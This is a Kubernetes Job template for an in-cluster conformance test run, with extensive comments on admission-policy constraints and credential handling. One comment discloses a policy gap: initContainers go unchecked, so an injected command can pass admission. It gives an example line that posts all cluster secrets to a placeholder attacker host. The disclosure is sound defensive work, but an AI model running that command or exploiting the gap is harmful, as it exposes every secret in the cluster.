# ============================================================================= # In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14) # Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3. # # NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a # TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would # create a permanent Job object and fight the trigger for ownership. # # CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig — # only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log). # In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave # the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel. # # ----------------------------------------------------------------------------- # THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY # ----------------------------------------------------------------------------- # platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce + # failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits # ONLY: exactly one container on a digest-pinned conformance-runner image, # serviceAccountName conformance-runner, command ["./run.sh"], args drawn from # --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no # host namespaces, non-root with privilege escalation off, and — the constraint that # shapes everything below — NO VOLUMES BUT `workspace` AND `results`. # # So the git credential CANNOT be a projected/secret volume, and the init container # cannot have a scratch volume of its own. Both are solved inside the two allowed names: # * the credential arrives as env vars via secretKeyRef (an env var is not a volume), # BY SECRET NAME ONLY — no token literal ever appears in this file; # * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so # readOnlyRootFilesystem stays true without a third volume and without subPath # mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable # by the non-root runner). # # Verify before changing anything here: # kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \ # --resource \ # --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml # and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in # resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission. # # ----------------------------------------------------------------------------- # !! OPEN SECURITY GAP IN THAT POLICY — initContainers ARE NOT CONSTRAINED !! # ----------------------------------------------------------------------------- # MEASURED 2026-09-29 with the pinned kyverno CLI v1.19.0. Take this rendered template, # replace ONLY the init container's `args` with # kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/ # and leave `containers[0]` untouched and compliant. Result: # Applying 3 policy rule(s) to 1 resource(s)... # pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # i.e. ADMITTED. All three rules read only `spec.template.spec.containers` (rule 1's # pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). `initContainers` is never # examined, so the exact escalation the policy exists to stop — the privileged # conformance-runner SA executing an arbitrary command — is still reachable, one field # over. This template's OWN init container does not exploit that; the gap is the policy's, # and it existed before this file had an init container at all. # # NOT FIXED HERE ON PURPOSE: the policy is a security boundary and a change to it belongs # in its own reviewed PR, not smuggled in alongside the Job that has to satisfy it. # FOLLOW-UP, in order of preference: # 1. Bake this clone script into the runner image at a fixed path, drop `args` here, and # add a 4th rule pinning `initContainers` to one container on the same digest-pinned # image with `command: ["/usr/local/bin/conformance-clone"]` and NO args. Then an # init container carries no caller-supplied code at all and the rule is one pattern. # 2. Failing that, a rule denying any `initContainers` entry whose image is not the # pinned runner image — weaker (the script stays caller-supplied) but it at least # stops an arbitrary image running as conformance-runner. # Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is # supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter. # # ----------------------------------------------------------------------------- # WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}` # ----------------------------------------------------------------------------- # The placeholder syntax is deliberately NOT shell syntax. The init container below is a # bash script full of legitimate `${...}` references; running the template through # `envsubst` would clobber every one of them. `@@NAME@@` cannot collide, and a surviving # `@@` in a rendered manifest is trivially greppable as "the trigger forgot to render # this". Render with a two-token sed, nothing cleverer: # # sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \ # -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml # # @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ the 64-hex digest of the pinned runner image. # Only the DIGEST is substituted — the registry path and the `@sha256:` pinning # are committed literals, so the substitution cannot repoint the image at another # repository, and the template still satisfies the policy's image pattern before # rendering. An unsubstituted digest fails as ImagePullBackOff, loudly. # @@CONFORMANCE_GIT_SHA@@ the 40-hex commit under test. The init container # REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder # or an injected value is a hard failure, never a run of the wrong tree. # # `args` is NOT a placeholder: it is a real list carrying the phase-exit default, and the # trigger REPLACES it wholesale per invocation shape — # MERGE GATE: ["--layer", "l2,l3", "--include-scope", "whole-repo", # "--requirements", ""] # PHASE EXIT: ["--layer", "all", "--strict-coverage"] # Keeping it a committed list (not a substituted scalar) is what lets this file be handed # to `kyverno apply` as-is. # # ----------------------------------------------------------------------------- # RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable # ----------------------------------------------------------------------------- # `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the # suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when # CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints: # # === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc= bytes= lines= sha256= === # # === ARTIFACTS-TGZ-BASE64 END v1 rc= bytes= lines= sha256= === # # The BEGIN and END headers are byte-identical and both carry the size, the base64 line # count and the sha256. A collector that checks all four (one BEGIN, one END, headers # equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a # complete artifact set — which a bare blob would, because base64 decodes a truncated # stream to plausible garbage without complaint. See the block comment above # conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations. # # `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the # transport is the pod's log, so the Job must finish while that log still exists. # ============================================================================= apiVersion: batch/v1 kind: Job metadata: generateName: conformance-run- namespace: conformance labels: app.kubernetes.io/part-of: conformance spec: backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry # A retry would also re-emit the artifact envelope, giving the collector two BEGIN # markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true. ttlSecondsAfterFinished: 3600 activeDeadlineSeconds: 5400 # L3 fault injection is slow; a hung run must not hold the gate template: metadata: labels: app.kubernetes.io/part-of: conformance spec: serviceAccountName: conformance-runner # scoped test identity (rbac.yaml) restartPolicy: Never securityContext: # runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true` # alone only *rejects* a root image, it does not choose a uid, and the runner image # is built by a separate task (plan §5 step 1). 65532 is the conventional # distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both # emptyDirs group-writable for that uid. runAsNonRoot: true runAsUser: 65532 runAsGroup: 65532 fsGroup: 65532 seccompProfile: { type: RuntimeDefault } initContainers: # --------------------------------------------------------------------- # Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace. # # The credential is a READ-ONLY Gitea token, referenced by secret name only. It # reaches git through an inline credential helper that reads the ENVIRONMENT, so # the token never appears in argv (where `ps` and the Pod spec would show it) and # is never written to disk. # # `--depth 1` clones the default branch; the commit under test is usually its tip # but must not be ASSUMED to be (the branch can advance between trigger and run, # and a PR head is not the default branch at all). So: clone shallow, and if the # SHA is not already present, fetch that one commit, then detach onto it and # ASSERT HEAD equals it. The suite runs at the commit under test or not at all. # --------------------------------------------------------------------- - name: clone-suite-at-commit image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ command: ["/bin/bash", "-c"] args: - | set -euo pipefail # A bad SHA must never degrade into "ran whatever the branch tip was". if ! printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$'; then echo "FATAL: CONFORMANCE_GIT_SHA is not a 40-hex commit id." >&2 echo " The CI trigger did not substitute it, or substituted junk." >&2 exit 1 fi mkdir -p "${TMPDIR}" "${HOME}" # git's shell credential helper: invoked as `sh -c ' get'`, so it # reads $1 and answers from the environment only. CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f' echo "==> shallow clone ${CONFORMANCE_REPO_URL}" git -c credential.helper="${CRED}" \ clone --depth 1 --no-tags --single-branch \ "${CONFORMANCE_REPO_URL}" "${CONFORMANCE_SRC}" if ! git -C "${CONFORMANCE_SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then echo "==> ${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit" git -C "${CONFORMANCE_SRC}" -c credential.helper="${CRED}" \ fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}" fi git -C "${CONFORMANCE_SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}" head="$(git -C "${CONFORMANCE_SRC}" rev-parse HEAD)" if [ "${head}" != "${CONFORMANCE_GIT_SHA}" ]; then echo "FATAL: checked out ${head}, expected ${CONFORMANCE_GIT_SHA}." >&2 exit 1 fi test -x "${CONFORMANCE_SRC}/conformance/run.sh" \ || { echo "FATAL: no executable conformance/run.sh at ${head}." >&2; exit 1; } echo "==> suite ready at ${head}" env: # The repository under test is a committed literal, not a substitution: a # template that lets the trigger choose the clone URL lets it choose the code. - name: CONFORMANCE_REPO_URL value: https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git - name: CONFORMANCE_SRC value: /workspace/src - name: CONFORMANCE_GIT_SHA value: "@@CONFORMANCE_GIT_SHA@@" # BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a # READ-ONLY Gitea token with read access to this one repository — never a write # token, never a deploy key with push. Keys: `username`, `token`. # An env var is not a volume, which is how this coexists with the admission # policy's workspace/results-only rule. - name: GITEA_USERNAME valueFrom: secretKeyRef: { name: conformance-git-readonly, key: username } - name: GITEA_TOKEN valueFrom: secretKeyRef: { name: conformance-git-readonly, key: token } # Writable scratch + HOME on the workspace emptyDir, so the root filesystem # stays read-only and no third volume is needed. - name: TMPDIR value: /workspace/tmp - name: HOME value: /workspace/home volumeMounts: - { name: workspace, mountPath: /workspace } securityContext: allowPrivilegeEscalation: false readOnlyRootFilesystem: true capabilities: { drop: ["ALL"] } runAsNonRoot: true resources: requests: { cpu: 100m, memory: 128Mi } limits: { cpu: "1", memory: 512Mi } containers: - name: chainsaw # Digest-pinned under the conformance repository path — the admission policy # rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION # (+ kubectl, git, python3, bash); see plan §5 step 1. image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ workingDir: /workspace/src/conformance # PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact # envelope is emitted by run.sh itself rather than by a shell one-liner here. command: ["./run.sh"] # Replaced wholesale by the trigger per invocation shape (see the header). args: ["--layer", "all", "--strict-coverage"] env: # run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the # artifact tree onto the `results` volume. It cannot live at its default # conformance/_artifacts, because a volume mounted inside the clone target # would make that directory non-empty and `git clone` would refuse it. - name: CONF_ARTIFACTS value: /results # THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a # base64 tar over an operator's terminal. - name: CONF_EMIT_ARTIFACTS_TGZ value: "1" - name: TMPDIR value: /workspace/tmp - name: HOME value: /workspace/home volumeMounts: - { name: workspace, mountPath: /workspace } - { name: results, mountPath: /results } securityContext: allowPrivilegeEscalation: false readOnlyRootFilesystem: true capabilities: { drop: ["ALL"] } runAsNonRoot: true # L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and # config/chainsaw-config.yaml); the limits bound the blast radius on a homelab # node without starving the suite. resources: requests: { cpu: 250m, memory: 512Mi } limits: { cpu: "2", memory: 2Gi } volumes: # ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third. # Suite source, written by the init container: /workspace/src is the checkout, # /workspace/tmp is $TMPDIR, /workspace/home is $HOME. - name: workspace emptyDir: {} # Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope # carries; an emptyDir is sufficient because the transport is the log, not the # volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4). - name: results emptyDir: {}